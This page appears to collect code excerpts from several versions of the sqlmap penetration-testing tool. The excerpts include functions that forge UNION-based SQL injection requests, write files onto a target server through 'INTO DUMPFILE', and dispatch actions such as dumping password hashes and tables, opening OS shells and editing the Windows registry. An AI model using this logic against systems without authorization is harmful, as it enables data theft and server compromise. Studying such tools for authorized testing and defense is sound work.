示例#1
0
    def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
        logger.debug("encoding file to its hexadecimal string value")

        fcEncodedList   = self.fileEncode(wFile, "hex", True)
        fcEncodedStr    = fcEncodedList[0]
        fcEncodedStrLen = len(fcEncodedStr)

        if kb.injPlace == "GET" and fcEncodedStrLen > 8000:
            warnMsg  = "the injection is on a GET parameter and the file "
            warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
            warnMsg += "bytes, this might cause errors in the file "
            warnMsg += "writing process"
            logger.warn(warnMsg)

        unionTest()

        oldParamFalseCond   = conf.paramFalseCond
        conf.paramFalseCond = True

        debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
        logger.debug(debugMsg)

        sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
        unionUse(sqlQuery, direct=True, unescape=False, nullChar="''")

        conf.paramFalseCond = oldParamFalseCond

        if confirm:
            self.askCheckWrittenFile(wFile, dFile, fileType)
示例#2
0
def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar=None, unpack=True, dump=False):
    """
    This function tests for an inband SQL injection on the target
    url then call its subsidiary function to effectively perform an
    inband SQL injection on the affected url
    """

    count      = None
    origExpr   = expression
    start      = time.time()
    startLimit = 0
    stopLimit  = None
    test       = True
    value      = ""

    global reqCount

    if resetCounter:
        reqCount = 0

    if not kb.unionTest:
        unionTest()

    if not kb.unionCount:
        return

    # Prepare expression with delimiters
    if unescape:
        expression = agent.concatQuery(expression, unpack)
        expression = unescaper.unescape(expression)

    if ( kb.unionNegative or kb.unionFalseCond ) and not direct:
        _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)

        # We have to check if the SQL query might return multiple entries
        # and in such case forge the SQL limiting the query output one
        # entry per time
        # NOTE: I assume that only queries that get data from a table can
        # return multiple entries
        if " FROM " in expression:
            limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I)

            if limitRegExp:
                if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ):
                    limitGroupStart = queries[kb.dbms].limitgroupstart.query
                    limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms == DBMS.MSSQL:
                    limitGroupStart = queries[kb.dbms].limitgroupstart.query
                    limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms == DBMS.ORACLE:
                    limitCond = False
            else:
                limitCond = True

            # I assume that only queries NOT containing a "LIMIT #, 1"
            # (or similar depending on the back-end DBMS) can return
            # multiple entries
            if limitCond:
                if limitRegExp:
                    stopLimit = int(stopLimit)

                    # From now on we need only the expression until the " LIMIT "
                    # (or similar, depending on the back-end DBMS) word
                    if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ):
                        stopLimit += startLimit
                        untilLimitChar = expression.index(queries[kb.dbms].limitstring.query)
                        expression = expression[:untilLimitChar]

                    elif kb.dbms == DBMS.MSSQL:
                        stopLimit += startLimit
                elif dump:
                    if conf.limitStart:
                        startLimit = conf.limitStart
                    if conf.limitStop:
                        stopLimit = conf.limitStop

                if not stopLimit or stopLimit <= 1:
                    if kb.dbms == DBMS.ORACLE and expression.endswith("FROM DUAL"):
                        test = False
                    else:
                        test = True

                if test:
                    # Count the number of SQL query entries output
                    countFirstField   = queries[kb.dbms].count.query % expressionFieldsList[0]
                    countedExpression = origExpr.replace(expressionFields, countFirstField, 1)

                    if re.search(" ORDER BY ", expression, re.I):
                        untilOrderChar = countedExpression.index(" ORDER BY ")
                        countedExpression = countedExpression[:untilOrderChar]

                    count = resume(countedExpression, None)

                    if not stopLimit:
                        if not count or not count.isdigit():
                            output = unionUse(countedExpression, direct=True)

                            if output:
                                count = parseUnionPage(output, countedExpression)

                        if count and count.isdigit() and int(count) > 0:
                            stopLimit = int(count)

                            infoMsg  = "the SQL query provided returns "
                            infoMsg += "%d entries" % stopLimit
                            logger.info(infoMsg)

                        elif count and not count.isdigit():
                            warnMsg  = "it was not possible to count the number "
                            warnMsg += "of entries for the SQL query provided. "
                            warnMsg += "sqlmap will assume that it returns only "
                            warnMsg += "one entry"
                            logger.warn(warnMsg)

                            stopLimit = 1

                        elif ( not count or int(count) == 0 ):
                            warnMsg  = "the SQL query provided does not "
                            warnMsg += "return any output"
                            logger.warn(warnMsg)

                            return

                    elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
                        warnMsg  = "the SQL query provided does not "
                        warnMsg += "return any output"
                        logger.warn(warnMsg)

                        return

                    for num in xrange(startLimit, stopLimit):
                        if kb.dbms == DBMS.MSSQL:
                            field = expressionFieldsList[0]
                        elif kb.dbms == DBMS.ORACLE:
                            field = expressionFieldsList
                        else:
                            field = None

                        limitedExpr = agent.limitQuery(num, expression, field)
                        output = resume(limitedExpr, None)

                        if not output:
                            output = unionUse(limitedExpr, direct=True, unescape=False)

                        if output:
                            value += output
                            parseUnionPage(output, limitedExpr)

                    return value

        value = unionUse(expression, direct=True, unescape=False)

    else:
        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(expression, nullChar=nullChar)
        payload = agent.payload(newValue=query)

        debugMsg = "query: %s" % query
        logger.debug(debugMsg)

        # Perform the request
        resultPage, _ = Request.queryPage(payload, content=True)
        reqCount += 1

        if kb.misc.start not in resultPage or kb.misc.stop not in resultPage:
            return

        # Parse the returned page to get the exact inband
        # sql injection output
        startPosition = resultPage.index(kb.misc.start)
        endPosition = resultPage.rindex(kb.misc.stop) + len(kb.misc.stop)
        value = getUnicode(resultPage[startPosition:endPosition])

        duration = calculateDeltaSeconds(start)

        debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
        logger.debug(debugMsg)

    return value
示例#3
0
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
    """
    This function tests for an inband SQL injection on the target
    url then call its subsidiary function to effectively perform an
    inband SQL injection on the affected url
    """

    count      = None
    origExpr   = expression
    start      = time.time()
    startLimit = 0
    stopLimit  = None
    test       = True
    value      = ""

    global reqCount

    if resetCounter == True:
        reqCount = 0

    if not kb.unionCount:
        unionTest()

    if not kb.unionCount:
        return

    # Prepare expression with delimiters
    if unescape:
        expression = agent.concatQuery(expression)
        expression = unescaper.unescape(expression)

    # Confirm the inband SQL injection and get the exact column
    # position only once
    if not isinstance(kb.unionPosition, int):
        __unionPosition(expression)

        # Assure that the above function found the exploitable full inband
        # SQL injection position
        if not isinstance(kb.unionPosition, int):
            __unionPosition(expression, True)

            # Assure that the above function found the exploitable partial
            # inband SQL injection position
            if not isinstance(kb.unionPosition, int):
                return
            else:
                conf.paramNegative = True

    if conf.paramNegative == True and direct == False:
        _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)

        if len(expressionFieldsList) > 1:
            infoMsg  = "the SQL query provided has more than a field. "
            infoMsg += "sqlmap will now unpack it into distinct queries "
            infoMsg += "to be able to retrieve the output even if we "
            infoMsg += "are in front of a partial inband sql injection"
            logger.info(infoMsg)

        # We have to check if the SQL query might return multiple entries
        # and in such case forge the SQL limiting the query output one
        # entry per time
        # NOTE: I assume that only queries that get data from a table can
        # return multiple entries
        if " FROM " in expression:
            limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)

            if limitRegExp:
                if kb.dbms in ( "MySQL", "PostgreSQL" ):
                    limitGroupStart = queries[kb.dbms].limitgroupstart
                    limitGroupStop  = queries[kb.dbms].limitgroupstop

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
                    limitCond = False
            else:
                limitCond = True

            # I assume that only queries NOT containing a "LIMIT #, 1"
            # (or similar depending on the back-end DBMS) can return
            # multiple entries
            if limitCond:
                if limitRegExp:
                    stopLimit = int(stopLimit)

                    # From now on we need only the expression until the " LIMIT "
                    # (or similar, depending on the back-end DBMS) word
                    if kb.dbms in ( "MySQL", "PostgreSQL" ):
                        stopLimit += startLimit
                        untilLimitChar = expression.index(queries[kb.dbms].limitstring)
                        expression = expression[:untilLimitChar]

                if not stopLimit or stopLimit <= 1:
                    if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
                        test = False
                    else:
                        test = True

                if test == True:
                    # Count the number of SQL query entries output
                    countFirstField   = queries[kb.dbms].count % expressionFieldsList[0]
                    countedExpression = origExpr.replace(expressionFields, countFirstField, 1)

                    if re.search(" ORDER BY ", expression, re.I):
                        untilOrderChar = countedExpression.index(" ORDER BY ")
                        countedExpression = countedExpression[:untilOrderChar]

                    count = resume(countedExpression, None)

                    if not stopLimit:
                        if not count or not count.isdigit():
                            output = unionUse(countedExpression, direct=True)

                            if output:
                                count = parseUnionPage(output, countedExpression)

                        if count and count.isdigit() and int(count) > 0:
                            stopLimit = int(count)

                            infoMsg  = "the SQL query provided returns "
                            infoMsg += "%d entries" % stopLimit
                            logger.info(infoMsg)

                        elif count and not count.isdigit():
                            warnMsg  = "it was not possible to count the number "
                            warnMsg += "of entries for the SQL query provided. "
                            warnMsg += "sqlmap will assume that it returns only "
                            warnMsg += "one entry"
                            logger.warn(warnMsg)

                            stopLimit = 1

                        elif ( not count or int(count) == 0 ):
                            warnMsg  = "the SQL query provided does not "
                            warnMsg += "return any output"
                            logger.warn(warnMsg)

                            return

                    elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
                        warnMsg  = "the SQL query provided does not "
                        warnMsg += "return any output"
                        logger.warn(warnMsg)

                        return

                    for num in xrange(startLimit, stopLimit):
                        limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
                        output      = unionUse(limitedExpr, direct=True, unescape=False)

                        if output:
                            value += output

                    return value

        value = unionUse(expression, direct=True, unescape=False)

    else:
        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(expression)
        payload = agent.payload(newValue=query)

        infoMsg = "query: %s" % query
        logger.info(infoMsg)

        # Perform the request
        resultPage = Request.queryPage(payload, content=True)
        reqCount += 1

        if temp.start not in resultPage or temp.stop not in resultPage:
            return

        # Parse the returned page to get the exact inband
        # sql injection output
        startPosition = resultPage.index(temp.start)
        endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
        value = str(resultPage[startPosition:endPosition])

        duration = int(time.time() - start)

        infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
        logger.info(infoMsg)

    return value
示例#4
0
def action():
    """
    This function exploit the SQL injection on the affected
    url parameter and extract requested data from the
    back-end database management system or operating system
    if possible
    """

    # First of all we have to identify the back-end database management
    # system to be able to go ahead with the injection
    conf.dbmsHandler = setHandler()

    if not conf.dbmsHandler:
        htmlParsed = getHtmlErrorFp()

        errMsg = "sqlmap was not able to fingerprint the "
        errMsg += "back-end database management system"

        if htmlParsed:
            errMsg += ", but from the HTML error page it was "
            errMsg += "possible to determinate that the "
            errMsg += "back-end DBMS is %s" % htmlParsed

        if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS:
            errMsg += ". Do not specify the back-end DBMS manually, "
            errMsg += "sqlmap will fingerprint the DBMS for you"
        else:
            errMsg += ". Support for this DBMS will be implemented if "
            errMsg += "you ask, just drop us an email"

        raise sqlmapUnsupportedDBMSException, errMsg

    print "%s\n" % conf.dbmsHandler.getFingerprint()

    # Techniques options
    if conf.stackedTest:
        dumper.string("stacked queries support", stackedTest())

    if conf.timeTest:
        dumper.string("time based blind sql injection payload", timeTest())

    if (conf.unionUse or conf.unionTest) and not kb.unionPosition:
        dumper.string("valid union", unionTest())

    # Enumeration options
    if conf.getBanner:
        dumper.string("banner", conf.dbmsHandler.getBanner())

    if conf.getCurrentUser:
        dumper.string("current user", conf.dbmsHandler.getCurrentUser())

    if conf.getCurrentDb:
        dumper.string("current database", conf.dbmsHandler.getCurrentDb())

    if conf.isDba:
        dumper.string("current user is DBA", conf.dbmsHandler.isDba())

    if conf.getUsers:
        dumper.lister("database management system users", conf.dbmsHandler.getUsers())

    if conf.getPasswordHashes:
        dumper.userSettings(
            "database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash"
        )

    if conf.getPrivileges:
        dumper.userSettings(
            "database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege"
        )

    if conf.getDbs:
        dumper.lister("available databases", conf.dbmsHandler.getDbs())

    if conf.getTables:
        dumper.dbTables(conf.dbmsHandler.getTables())

    if conf.getColumns:
        dumper.dbTableColumns(conf.dbmsHandler.getColumns())

    if conf.dumpTable:
        dumper.dbTableValues(conf.dbmsHandler.dumpTable())

    if conf.dumpAll:
        conf.dbmsHandler.dumpAll()

    if conf.query:
        dumper.string(conf.query, conf.dbmsHandler.sqlQuery(conf.query))

    if conf.sqlShell:
        conf.dbmsHandler.sqlShell()

    # User-defined function options
    if conf.udfInject:
        conf.dbmsHandler.udfInjectCustom()

    # File system options
    if conf.rFile:
        dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False)

    if conf.wFile:
        conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)

    # Operating system options
    if conf.osCmd:
        conf.dbmsHandler.osCmd()

    if conf.osShell:
        conf.dbmsHandler.osShell()

    if conf.osPwn:
        conf.dbmsHandler.osPwn()

    if conf.osSmb:
        conf.dbmsHandler.osSmb()

    if conf.osBof:
        conf.dbmsHandler.osBof()

    # Windows registry options
    if conf.regRead:
        dumper.string("Registry key value data", conf.dbmsHandler.regRead())

    if conf.regAdd:
        conf.dbmsHandler.regAdd()

    if conf.regDel:
        conf.dbmsHandler.regDel()

    # Miscellaneous options
    if conf.cleanup:
        conf.dbmsHandler.cleanup()
示例#5
0
def action():
    """
    This function exploit the SQL injection on the affected
    url parameter and extract requested data from the
    back-end database management system or operating system
    if possible
    """

    # First of all we have to identify the back-end database management
    # system to be able to go ahead with the injection
    setHandler()

    if not kb.dbmsDetected:
        htmlParsed = getHtmlErrorFp()

        errMsg  = "sqlmap was not able to fingerprint the "
        errMsg += "back-end database management system"

        if htmlParsed:
            errMsg += ", but from the HTML error page it was "
            errMsg += "possible to determinate that the "
            errMsg += "back-end DBMS is %s" % htmlParsed

        if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS:
            errMsg += ". Do not specify the back-end DBMS manually, "
            errMsg += "sqlmap will fingerprint the DBMS for you"
        elif kb.nullConnection:
            errMsg += ". You can try to rerun without using optimization "
            errMsg += "switch '%s'" % ("-o" if conf.optimize else "--null-connection")
        else:
            errMsg += ". Support for this DBMS will be implemented at "
            errMsg += "some point"

        raise sqlmapUnsupportedDBMSException, errMsg

    dataToStdout("%s\n" % conf.dbmsHandler.getFingerprint())

    # Techniques options
    if conf.stackedTest:
        conf.dumper.technic("stacked queries injection payload", stackedTest())

    if conf.errorTest:
        conf.dumper.technic("error-based injection payload", errorTest())

    if conf.timeTest:
        conf.dumper.technic("time-based blind injection payload", timeTest())

    if conf.unionTest and kb.unionPosition is None:
        conf.dumper.technic("inband injection payload", unionTest())

    # Enumeration options
    if conf.getBanner:
        conf.dumper.banner(conf.dbmsHandler.getBanner())

    if conf.getCurrentUser:
        conf.dumper.currentUser(conf.dbmsHandler.getCurrentUser())

    if conf.getCurrentDb:
        conf.dumper.currentDb(conf.dbmsHandler.getCurrentDb())

    if conf.isDba:
        conf.dumper.dba(conf.dbmsHandler.isDba())

    if conf.getUsers:
        conf.dumper.users(conf.dbmsHandler.getUsers())

    if conf.getPasswordHashes:
        conf.dumper.userSettings("database management system users password hashes",
                                 conf.dbmsHandler.getPasswordHashes(), "password hash")

    if conf.getPrivileges:
        conf.dumper.userSettings("database management system users privileges",
                                 conf.dbmsHandler.getPrivileges(), "privilege")

    if conf.getRoles:
        conf.dumper.userSettings("database management system users roles",
                                 conf.dbmsHandler.getRoles(), "role")

    if conf.getDbs:
        conf.dumper.dbs(conf.dbmsHandler.getDbs())

    if conf.getTables:
        conf.dumper.dbTables(conf.dbmsHandler.getTables())

    if conf.commonTables:
        conf.dumper.dbTables(tableExists(paths.COMMON_TABLES))

    if conf.getColumns:
        conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns())

    if conf.commonColumns:
        conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS))

    if conf.dumpTable:
        conf.dumper.dbTableValues(conf.dbmsHandler.dumpTable())

    if conf.dumpAll:
        conf.dbmsHandler.dumpAll()

    if conf.search:
        conf.dbmsHandler.search()

    if conf.query:
        conf.dumper.query(conf.query, conf.dbmsHandler.sqlQuery(conf.query))

    if conf.sqlShell:
        conf.dbmsHandler.sqlShell()

    # User-defined function options
    if conf.udfInject:
        conf.dbmsHandler.udfInjectCustom()

    # File system options
    if conf.rFile:
        conf.dumper.rFile(conf.rFile, conf.dbmsHandler.readFile(conf.rFile))

    if conf.wFile:
        conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)

    # Operating system options
    if conf.osCmd:
        conf.dbmsHandler.osCmd()

    if conf.osShell:
        conf.dbmsHandler.osShell()

    if conf.osPwn:
        conf.dbmsHandler.osPwn()

    if conf.osSmb:
        conf.dbmsHandler.osSmb()

    if conf.osBof:
        conf.dbmsHandler.osBof()

    # Windows registry options
    if conf.regRead:
        conf.dumper.registerValue(conf.dbmsHandler.regRead())

    if conf.regAdd:
        conf.dbmsHandler.regAdd()

    if conf.regDel:
        conf.dbmsHandler.regDel()

    # Miscellaneous options
    if conf.cleanup:
        conf.dbmsHandler.cleanup()

    if conf.direct:
        conf.dbmsConnector.close()